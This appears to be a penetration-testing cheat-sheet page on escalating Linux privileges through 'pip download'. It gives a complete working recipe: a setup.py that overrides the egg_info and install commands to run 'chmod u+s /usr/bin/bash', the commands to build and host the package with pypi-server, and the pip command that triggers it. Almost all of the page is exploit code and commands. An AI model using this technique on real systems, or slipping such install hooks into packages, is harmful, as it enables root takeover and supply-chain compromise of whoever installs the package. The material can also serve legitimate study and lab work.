Pip Download Code Execution

Last modified: 2023-04-27

Linux Privilege Escalation

Pip is a package management system written in Python. It can download custom Python package so we can create a malicious package to execute arbitrary code.

Exploitation

1. Create Malicious Python Package

Reference: https://github.com/wunderwuzzi23/this_is_fine_wuzzi

Assume the package named "exploitpy".
We need to create "setup.py" in the project root, and "init.py", "main.py" in src directory.

mkdir exploitpy
cd exploitpy
touch setup.py
mkdir src
touch src/__init__.py
echo 'print("hello")' > src/main.py

Below is the content of the "setup.py".
The arbitrary code is injected in the “RunCommand” method. It is executed when pip download command.

# setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
	# Arbitrary code here!
	import os;os.system("chmod u+s /usr/bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "exploitpy",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

To package the project, run the following command in the project root.

# If you don't have modules below, install them first.
pip3 install setuptools
pip3 install build

# Build
python3 -m build

It generates .tar.gz file in dist folder.

2. Download the Package

We need to host the package using pypi-server.

# Install the module if you don't have it
pip3 install pypiserver

# Copy the tar.gz file into the "package" folder.
mkdir package
cp ./exploitpy/dist/exploitpy-0.0.1.tar.gz ./package
pypi-server run -v -p 8000 ./package

Then download the package by the following command.
If the pip command can be executed as root, we can also escalate privileges.
When downloading, arbitrary code, that we specified in setup.py, will be executed.

pip3 download exploitpy --index-url https://localhost:8000 -v